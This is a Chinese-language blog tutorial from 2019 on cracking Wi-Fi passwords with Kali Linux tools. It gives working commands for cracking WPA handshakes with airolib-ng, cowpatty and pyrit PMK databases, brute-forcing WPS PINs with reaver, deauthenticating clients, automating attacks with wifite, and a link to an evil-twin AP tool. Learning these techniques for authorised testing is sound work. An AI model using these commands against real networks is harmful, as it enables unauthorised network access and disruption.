kali linux之无线渗透(续)

Airolib

设计用于存储ESSID和密码列表,计算生成不变的PMK(计算资源消耗型)

 PMK在破解阶段被用于计算PTK(速度快,计算资源要求少)

 通过完整性摘要值破解密码SQLite3数据库存储数据

 

实例:

抓包获取四步信息

echo 目标ESSID > essid.txt(创建一个ESSID文件)
airolib-ng db --import essid essid.txt(创建一个数据库db,导入一个essid,这个essid文件存在essid.txt文件里)
airolib-ng db --stats(查看数据库状态)
airolib-ng db --import passwd /usr/share/wordlists/xxx.txt(导入密码文件,它会剔除不合格的密码)
airolib-ng db --batch(生成PMK)
aircrack-ng -r db test-01.cap(通过抓取到的包对比db数据库里面的PMK破解密码)

 

 

 

 

 

Cowpatty破解密码

一样的,先抓包获取四步信息

cowpatty -r xx-01.cap -f password.txt -s 目标essid (-r 指定抓到包的文件,-f 使用的字典,-s 目标essid)

使用彩虹表(PMK)

genpmk -f password.txt -d pmk -s 目标essid (-f 使用的字典 -d生成的pmk文件名 -s 目标essid)

cowpatty -r xx-01.cap -d pmk -s 目标essid (-r 指定抓到包的文件,-d 指定pmk文件,-s 目标essid)

 

 

 

Pyrit破解密码

与airolib,cowpatty相同,支持基于预计算的pmk提高破解速度

独有的优势:

CPU外,可以运用GPU的计算能力加速生成PMK,本身支持抓包获取四步握手过程,无需airodump抓包

也支持传统的读取airodump抓包获取四步握手的方式

 

 

实例:

pyrit -r wlan0mon -o wap.cap stripLive (-r 指定抓包的网卡,-o 输出文件名 stripLive是踢出多余的信息)

 

然后配合aireplay-ng把目标打掉,获取四步信息

 

 

会生成一个抓包文件

 

 分析包(analyze)

 

 从airodump抓包导入并筛选提取出新的包,剔除多余的信息

会生成新的包

 

可以直接用密码字典破解,但是没灵魂,使用数据库模式破解

默认基于文件的数据库,支持sql数据库,将计算的PMK存入数据库

查看默认数据库状态:pyrit eval

导入密码字典:pyrit -i password.txt import_passwords(会剔除不合格的密码)

指定ESSID:pyrit -e ESSID名 create_essid (创建essid)

计算PMK:pyrit batch (发挥GPU计算能力)

破解密码:pyrit -r wap01.cap -b APmac attack_db

 

 

实例:

 导入密码文件

 

 查看可用密码文件

 

 创建essid

 

计算PMK

 

破解密码

 

 

 

 

 

WPS攻击

WPS是wifi联盟2006年开发的一项技术,通过pin码来简化无线接入的操作,无需记住PSK,路由器和网卡名各按一个按钮就能接入无线.pin码是分为前后各4位的2段共8位数字

 

2011年被发现安全漏洞,接入发起方可以根据路由器的返回信息判断前4位是否正确,而pin码的后四位只有1000种定义的组合(最后一位是checksum),所以全部穷举破解只需要11000次尝试,(PSK 218,340,105,584,896),标准本身没有设定锁定机制,目前多个厂商已实现锁定机制

 

 

wash -i wlan0mon (发现支持wps的无线)

 

 airodump-ng wlan0mon --wps (也可以加上--wps参数)

 

 爆破PIN码

reaver -i wlan0mon -b APmac -vv

 

爆破出pin码后

reaver -i wlan0mon -b APmac -vv -p PIN码

 

 

 

  综合自动化无线密码破解工具:wifite

 

 

ctrl+c停止扫描,选择目标

 

它会自动逐个尝试,WPS,握手包等等

 

 

 

 

 

 

 

 

伪造AP:3vilTwinAttacker  https://github.com/wi-fi-analyzer/3vilTwinAttacker.git

 

 

 

 

友情链接  http://www.cnblogs.com/klionsec

                http://www.cnblogs.com/l0cm

                http://www.cnblogs.com/Anonyaptxxx

                http://www.feiyusafe.cn

 

posted @ 2019-03-16 17:12 Hydraxx 阅读(...) 评论(...) 编辑 收藏